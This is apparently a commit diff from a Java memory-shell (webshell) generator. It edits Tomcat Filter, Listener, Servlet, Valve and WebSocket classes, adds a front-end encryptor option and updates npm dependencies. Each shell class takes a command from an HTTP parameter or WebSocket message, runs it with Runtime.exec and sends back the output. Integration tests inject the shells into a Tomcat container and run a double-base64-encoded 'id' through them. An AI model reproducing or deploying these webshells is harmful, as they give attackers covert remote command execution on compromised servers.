arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, ShellType.WEBSOCKET, ShellTool.Command, Packers.JSP)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
|
String url = getUrl(container);
|
||||||
|
|
||||||
|
Pair<String, String> urls = ShellAssertionTool.getUrls(url, shellType, shellTool, packer);
|
||||||
|
String shellUrl = urls.getLeft();
|
||||||
|
String urlPattern = urls.getRight();
|
||||||
|
|
||||||
|
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
|
||||||
|
|
||||||
|
ShellToolConfig shellToolConfig = CommandConfig.builder()
|
||||||
|
.paramName(uniqueName)
|
||||||
|
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult generateResult = ShellAssertionTool.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig);
|
||||||
|
|
||||||
|
ShellAssertionTool.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
|
||||||
|
|
||||||
|
String payload = Base64.getEncoder().encodeToString(Base64.getEncoder().encode("id".getBytes()));
|
||||||
|
if (shellType.endsWith(ShellType.WEBSOCKET)) {
|
||||||
|
ShellAssertionTool.testWebSocketCommandIsOk(shellUrl, payload);
|
||||||
|
} else {
|
||||||
|
ShellAssertionTool.testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), payload);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,12 +1,12 @@
|
|||||||
package com.reajason.javaweb.util;
|
package com.reajason.javaweb.util;
|
||||||
|
|
||||||
import java.util.Base64;;
|
|
||||||
import org.junit.jupiter.api.Disabled;
|
import org.junit.jupiter.api.Disabled;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+5
-1
@@ -18,11 +18,15 @@ public class CommandFilter implements Filter {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public String getParam(String param) {
|
||||||
|
return param;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||||
String cmd = servletRequest.getParameter(paramName);
|
String cmd = getParam(servletRequest.getParameter(paramName));
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
InputStream inputStream = exec.getInputStream();
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
|||||||
+5
-1
@@ -21,11 +21,15 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public String getParam(String param) {
|
||||||
|
return param;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
try {
|
try {
|
||||||
String cmd = request.getParameter(paramName);
|
String cmd = getParam(request.getParameter(paramName));
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
|||||||
+5
-1
@@ -20,9 +20,13 @@ public class CommandServlet extends HttpServlet {
|
|||||||
doPost(req, resp);
|
doPost(req, resp);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public String getParam(String param) {
|
||||||
|
return param;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||||
String cmd = request.getParameter(paramName);
|
String cmd = getParam(request.getParameter(paramName));
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
InputStream inputStream = exec.getInputStream();
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
|||||||
+5
-1
@@ -39,9 +39,13 @@ public class CommandValve implements Valve {
|
|||||||
public void backgroundProcess() {
|
public void backgroundProcess() {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public String getParam(String param) {
|
||||||
|
return param;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||||
String cmd = request.getParameter(paramName);
|
String cmd = getParam(request.getParameter(paramName));
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
InputStream inputStream = exec.getInputStream();
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
|||||||
+13
-15
@@ -4,6 +4,7 @@ import javax.websocket.Endpoint;
|
|||||||
import javax.websocket.EndpointConfig;
|
import javax.websocket.EndpointConfig;
|
||||||
import javax.websocket.MessageHandler;
|
import javax.websocket.MessageHandler;
|
||||||
import javax.websocket.Session;
|
import javax.websocket.Session;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -16,25 +17,22 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
|
|
||||||
private Session session;
|
private Session session;
|
||||||
|
|
||||||
|
private String getParam(String param) {
|
||||||
|
return param;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onMessage(String s) {
|
public void onMessage(String s) {
|
||||||
try {
|
try {
|
||||||
Process process;
|
Process exec = Runtime.getRuntime().exec(getParam(s));
|
||||||
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
|
InputStream inputStream = exec.getInputStream();
|
||||||
if (bool) {
|
byte[] buf = new byte[8192];
|
||||||
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
|
int length;
|
||||||
} else {
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
}
|
}
|
||||||
InputStream inputStream = process.getInputStream();
|
session.getBasicRemote().sendText(outputStream.toString());
|
||||||
StringBuilder stringBuilder = new StringBuilder();
|
|
||||||
int i;
|
|
||||||
while ((i = inputStream.read()) != -1) {
|
|
||||||
stringBuilder.append((char) i);
|
|
||||||
}
|
|
||||||
inputStream.close();
|
|
||||||
process.waitFor();
|
|
||||||
session.getBasicRemote().sendText(stringBuilder.toString());
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
|
|||||||
Binary file not shown.
+45
-45
@@ -15,73 +15,73 @@
|
|||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@biomejs/biome": "1.9.4",
|
"@biomejs/biome": "1.9.4",
|
||||||
"@types/node": "^22.14.0",
|
"@types/node": "^22.15.2",
|
||||||
"@types/react": "^19.1.0",
|
"@types/react": "^19.1.2",
|
||||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||||
"@types/react-dom": "^19.1.1",
|
"@types/react-dom": "^19.1.2",
|
||||||
"@types/react-syntax-highlighter": "^15.5.13",
|
"@types/react-syntax-highlighter": "^15.5.13",
|
||||||
"@vitejs/plugin-react": "^4.3.4",
|
"@vitejs/plugin-react": "^4.4.1",
|
||||||
"rimraf": "^6.0.1",
|
"rimraf": "^6.0.1",
|
||||||
"tailwindcss": "^4.1.3",
|
"tailwindcss": "^4.1.4",
|
||||||
"typescript": "^5.8.3",
|
"typescript": "^5.8.3",
|
||||||
"vite": "^6.2.5",
|
"vite": "^6.3.3",
|
||||||
"vite-bundle-visualizer": "^1.2.1"
|
"vite-bundle-visualizer": "^1.2.1"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@hookform/resolvers": "^5.0.1",
|
"@hookform/resolvers": "^5.0.1",
|
||||||
"@radix-ui/react-accordion": "^1.2.3",
|
"@radix-ui/react-accordion": "^1.2.8",
|
||||||
"@radix-ui/react-alert-dialog": "^1.1.6",
|
"@radix-ui/react-alert-dialog": "^1.1.11",
|
||||||
"@radix-ui/react-aspect-ratio": "^1.1.2",
|
"@radix-ui/react-aspect-ratio": "^1.1.4",
|
||||||
"@radix-ui/react-avatar": "^1.1.3",
|
"@radix-ui/react-avatar": "^1.1.7",
|
||||||
"@radix-ui/react-checkbox": "^1.1.4",
|
"@radix-ui/react-checkbox": "^1.2.3",
|
||||||
"@radix-ui/react-collapsible": "^1.1.3",
|
"@radix-ui/react-collapsible": "^1.1.8",
|
||||||
"@radix-ui/react-context-menu": "^2.2.6",
|
"@radix-ui/react-context-menu": "^2.2.12",
|
||||||
"@radix-ui/react-dialog": "^1.1.6",
|
"@radix-ui/react-dialog": "^1.1.11",
|
||||||
"@radix-ui/react-dropdown-menu": "^2.1.6",
|
"@radix-ui/react-dropdown-menu": "^2.1.12",
|
||||||
"@radix-ui/react-hover-card": "^1.1.6",
|
"@radix-ui/react-hover-card": "^1.1.11",
|
||||||
"@radix-ui/react-label": "^2.1.2",
|
"@radix-ui/react-label": "^2.1.4",
|
||||||
"@radix-ui/react-menubar": "^1.1.6",
|
"@radix-ui/react-menubar": "^1.1.12",
|
||||||
"@radix-ui/react-navigation-menu": "^1.2.5",
|
"@radix-ui/react-navigation-menu": "^1.2.10",
|
||||||
"@radix-ui/react-popover": "^1.1.6",
|
"@radix-ui/react-popover": "^1.1.11",
|
||||||
"@radix-ui/react-progress": "^1.1.2",
|
"@radix-ui/react-progress": "^1.1.4",
|
||||||
"@radix-ui/react-radio-group": "^1.2.3",
|
"@radix-ui/react-radio-group": "^1.3.4",
|
||||||
"@radix-ui/react-scroll-area": "^1.2.3",
|
"@radix-ui/react-scroll-area": "^1.2.6",
|
||||||
"@radix-ui/react-select": "^2.1.6",
|
"@radix-ui/react-select": "^2.2.2",
|
||||||
"@radix-ui/react-separator": "^1.1.2",
|
"@radix-ui/react-separator": "^1.1.4",
|
||||||
"@radix-ui/react-slider": "^1.2.3",
|
"@radix-ui/react-slider": "^1.3.2",
|
||||||
"@radix-ui/react-slot": "^1.1.2",
|
"@radix-ui/react-slot": "^1.2.0",
|
||||||
"@radix-ui/react-switch": "^1.1.3",
|
"@radix-ui/react-switch": "^1.2.2",
|
||||||
"@radix-ui/react-tabs": "^1.1.3",
|
"@radix-ui/react-tabs": "^1.1.9",
|
||||||
"@radix-ui/react-toggle": "^1.1.2",
|
"@radix-ui/react-toggle": "^1.1.6",
|
||||||
"@radix-ui/react-toggle-group": "^1.1.2",
|
"@radix-ui/react-toggle-group": "^1.1.7",
|
||||||
"@radix-ui/react-tooltip": "^1.1.8",
|
"@radix-ui/react-tooltip": "^1.2.4",
|
||||||
"@tailwindcss/vite": "^4.1.3",
|
"@tailwindcss/vite": "^4.1.4",
|
||||||
"@tanstack/react-query": "^5.71.10",
|
"@tanstack/react-query": "^5.74.7",
|
||||||
"class-variance-authority": "^0.7.1",
|
"class-variance-authority": "^0.7.1",
|
||||||
"clsx": "^2.1.1",
|
"clsx": "^2.1.1",
|
||||||
"cmdk": "^1.1.1",
|
"cmdk": "^1.1.1",
|
||||||
"date-fns": "^4.1.0",
|
"date-fns": "^4.1.0",
|
||||||
"embla-carousel-react": "^8.6.0",
|
"embla-carousel-react": "^8.6.0",
|
||||||
"i18next": "^24.2.3",
|
"i18next": "^25.0.1",
|
||||||
"input-otp": "^1.4.2",
|
"input-otp": "^1.4.2",
|
||||||
"lucide-react": "^0.487.0",
|
"lucide-react": "^0.503.0",
|
||||||
"react": "^19.1.0",
|
"react": "^19.1.0",
|
||||||
"react-copy-to-clipboard": "^5.1.0",
|
"react-copy-to-clipboard": "^5.1.0",
|
||||||
"react-day-picker": "9.6.4",
|
"react-day-picker": "9.6.7",
|
||||||
"react-dom": "^19.1.0",
|
"react-dom": "^19.1.0",
|
||||||
"react-hook-form": "^7.55.0",
|
"react-hook-form": "^7.56.1",
|
||||||
"react-i18next": "^15.4.1",
|
"react-i18next": "^15.5.1",
|
||||||
"react-resizable-panels": "^2.1.7",
|
"react-resizable-panels": "^2.1.8",
|
||||||
"react-router": "^7.5.0",
|
"react-router": "^7.5.2",
|
||||||
"react-router-dom": "^7.5.0",
|
"react-router-dom": "^7.5.2",
|
||||||
"react-syntax-highlighter": "^15.6.1",
|
"react-syntax-highlighter": "^15.6.1",
|
||||||
"recharts": "^2.15.2",
|
"recharts": "^2.15.3",
|
||||||
"sonner": "^2.0.3",
|
"sonner": "^2.0.3",
|
||||||
"tailwind-merge": "^3.1.0",
|
"tailwind-merge": "^3.2.0",
|
||||||
"tailwind-scrollbar": "^4.0.2",
|
"tailwind-scrollbar": "^4.0.2",
|
||||||
"tailwindcss-animate": "^1.0.7",
|
"tailwindcss-animate": "^1.0.7",
|
||||||
"vaul": "^1.1.2",
|
"vaul": "^1.1.2",
|
||||||
"zod": "^3.24.2"
|
"zod": "^3.24.3"
|
||||||
},
|
},
|
||||||
"trustedDependencies": ["@biomejs/biome"]
|
"trustedDependencies": ["@biomejs/biome"]
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,10 +6,11 @@ import {
|
|||||||
AlertDialogCancel,
|
AlertDialogCancel,
|
||||||
AlertDialogContent,
|
AlertDialogContent,
|
||||||
AlertDialogDescription,
|
AlertDialogDescription,
|
||||||
|
AlertDialogFooter,
|
||||||
|
AlertDialogHeader,
|
||||||
AlertDialogTitle,
|
AlertDialogTitle,
|
||||||
AlertDialogTrigger,
|
AlertDialogTrigger,
|
||||||
} from "../ui/alert-dialog";
|
} from "../ui/alert-dialog";
|
||||||
import { AlertDialogFooter, AlertDialogHeader } from "../ui/alert-dialog";
|
|
||||||
import { Button } from "../ui/button";
|
import { Button } from "../ui/button";
|
||||||
|
|
||||||
export function FeedbackAlert() {
|
export function FeedbackAlert() {
|
||||||
|
|||||||
@@ -1,9 +1,13 @@
|
|||||||
|
import { env } from "@/config";
|
||||||
import { FormSchema } from "@/types/schema";
|
import { FormSchema } from "@/types/schema";
|
||||||
|
import { useQuery } from "@tanstack/react-query";
|
||||||
|
import { useEffect, useState } from "react";
|
||||||
import { FormProvider, UseFormReturn } from "react-hook-form";
|
import { FormProvider, UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Card, CardContent } from "../ui/card";
|
import { Card, CardContent } from "../ui/card";
|
||||||
import { FormControl, FormField, FormItem, FormLabel } from "../ui/form";
|
import { FormControl, FormField, FormItem, FormLabel } from "../ui/form";
|
||||||
import { Input } from "../ui/input";
|
import { Input } from "../ui/input";
|
||||||
|
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "../ui/select";
|
||||||
import { TabsContent } from "../ui/tabs";
|
import { TabsContent } from "../ui/tabs";
|
||||||
import { OptionalClassFormField } from "./classname-field";
|
import { OptionalClassFormField } from "./classname-field";
|
||||||
import { ShellTypeFormField } from "./shelltype-field";
|
import { ShellTypeFormField } from "./shelltype-field";
|
||||||
@@ -14,6 +18,26 @@ export function CommandTabContent({
|
|||||||
shellTypes,
|
shellTypes,
|
||||||
}: Readonly<{ form: UseFormReturn<FormSchema>; shellTypes: Array<string> }>) {
|
}: Readonly<{ form: UseFormReturn<FormSchema>; shellTypes: Array<string> }>) {
|
||||||
const { t } = useTranslation();
|
const { t } = useTranslation();
|
||||||
|
const { data } = useQuery<Array<string>>({
|
||||||
|
queryKey: ["commandEncryptor"],
|
||||||
|
queryFn: async () => {
|
||||||
|
const response = await fetch(`${env.API_URL}/config/command/encryptors`);
|
||||||
|
return await response.json();
|
||||||
|
},
|
||||||
|
});
|
||||||
|
const rawEncryptors = data ?? [];
|
||||||
|
const [encryptors, setEncryptors] = useState<Array<string>>(rawEncryptors);
|
||||||
|
|
||||||
|
const shellType = form.watch("shellType");
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (shellType.startsWith("Agent")) {
|
||||||
|
setEncryptors(["RAW"]);
|
||||||
|
} else {
|
||||||
|
setEncryptors(rawEncryptors);
|
||||||
|
}
|
||||||
|
}, [shellType, rawEncryptors]);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
<FormProvider {...form}>
|
||||||
<TabsContent value="Command">
|
<TabsContent value="Command">
|
||||||
@@ -23,20 +47,45 @@ export function CommandTabContent({
|
|||||||
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
||||||
<UrlPatternFormField form={form} />
|
<UrlPatternFormField form={form} />
|
||||||
</div>
|
</div>
|
||||||
<FormField
|
<div className="grid grid-cols-2 gap-2">
|
||||||
control={form.control}
|
<FormField
|
||||||
name="commandParamName"
|
control={form.control}
|
||||||
render={({ field }) => (
|
name="commandParamName"
|
||||||
<FormItem className="gap-1">
|
render={({ field }) => (
|
||||||
<FormLabel className="h-6 flex items-center gap-1">
|
<FormItem className="gap-1">
|
||||||
{t("shellToolConfig.paramName")} {t("optional")}
|
<FormLabel className="h-6 flex items-center gap-1">
|
||||||
</FormLabel>
|
{t("shellToolConfig.paramName")} {t("optional")}
|
||||||
<FormControl>
|
</FormLabel>
|
||||||
<Input {...field} placeholder={t("shellToolConfig.paramName")} className="h-8" />
|
<FormControl>
|
||||||
</FormControl>
|
<Input {...field} placeholder={t("shellToolConfig.paramName")} className="h-8" />
|
||||||
</FormItem>
|
</FormControl>
|
||||||
)}
|
</FormItem>
|
||||||
/>
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="encryptor"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="gap-1">
|
||||||
|
<FormLabel className="h-6 flex items-center">{t("shellToolConfig.encryptor")}</FormLabel>
|
||||||
|
<Select onValueChange={field.onChange} value={field.value} defaultValue="RAW">
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger className="h-8">
|
||||||
|
<SelectValue placeholder={t("placeholders.select")} />
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent key={data?.join(",")}>
|
||||||
|
{encryptors?.map((v) => (
|
||||||
|
<SelectItem key={v} value={v}>
|
||||||
|
{v}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
<OptionalClassFormField form={form} />
|
<OptionalClassFormField form={form} />
|
||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
|
|||||||
@@ -108,7 +108,8 @@
|
|||||||
"paramName": "Param Name",
|
"paramName": "Param Name",
|
||||||
"pass": "Pass",
|
"pass": "Pass",
|
||||||
"suo5Header": "AdvanceConfiguration -> Request Header",
|
"suo5Header": "AdvanceConfiguration -> Request Header",
|
||||||
"base64String": "Shell Class"
|
"base64String": "Shell Class",
|
||||||
|
"encryptor": "Encryptor"
|
||||||
},
|
},
|
||||||
"success": {
|
"success": {
|
||||||
"generated": "Generation successful"
|
"generated": "Generation successful"
|
||||||
|
|||||||
@@ -108,7 +108,8 @@
|
|||||||
"paramName": "请求参数",
|
"paramName": "请求参数",
|
||||||
"pass": "密码",
|
"pass": "密码",
|
||||||
"suo5Header": "高级配置 -> 请求头",
|
"suo5Header": "高级配置 -> 请求头",
|
||||||
"base64String": "内存马类"
|
"base64String": "内存马类",
|
||||||
|
"encryptor": "加密器"
|
||||||
},
|
},
|
||||||
"success": {
|
"success": {
|
||||||
"generated": "生成成功"
|
"generated": "生成成功"
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ export const formSchema = z.object({
|
|||||||
packingMethod: z.string().min(1),
|
packingMethod: z.string().min(1),
|
||||||
shrink: z.optional(z.boolean()),
|
shrink: z.optional(z.boolean()),
|
||||||
shellClassBase64: z.optional(z.string()),
|
shellClassBase64: z.optional(z.string()),
|
||||||
|
encryptor: z.optional(z.string()),
|
||||||
});
|
});
|
||||||
|
|
||||||
export type FormSchema = z.infer<typeof formSchema>;
|
export type FormSchema = z.infer<typeof formSchema>;
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ export interface ShellToolConfig {
|
|||||||
headerName?: string;
|
headerName?: string;
|
||||||
headerValue?: string;
|
headerValue?: string;
|
||||||
shellClassBase64?: string;
|
shellClassBase64?: string;
|
||||||
|
encryptor?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface CommandShellToolConfig {
|
export interface CommandShellToolConfig {
|
||||||
|
|||||||
@@ -43,6 +43,7 @@ export function transformToPostData(formValue: FormSchema) {
|
|||||||
headerName: formValue.headerName,
|
headerName: formValue.headerName,
|
||||||
headerValue: formValue.headerValue,
|
headerValue: formValue.headerValue,
|
||||||
shellClassBase64: formValue.shellClassBase64,
|
shellClassBase64: formValue.shellClassBase64,
|
||||||
|
encryptor: formValue.encryptor,
|
||||||
};
|
};
|
||||||
|
|
||||||
const injectorConfig: InjectorConfig = {
|
const injectorConfig: InjectorConfig = {
|
||||||
|
|||||||
Reference in New Issue
Block a user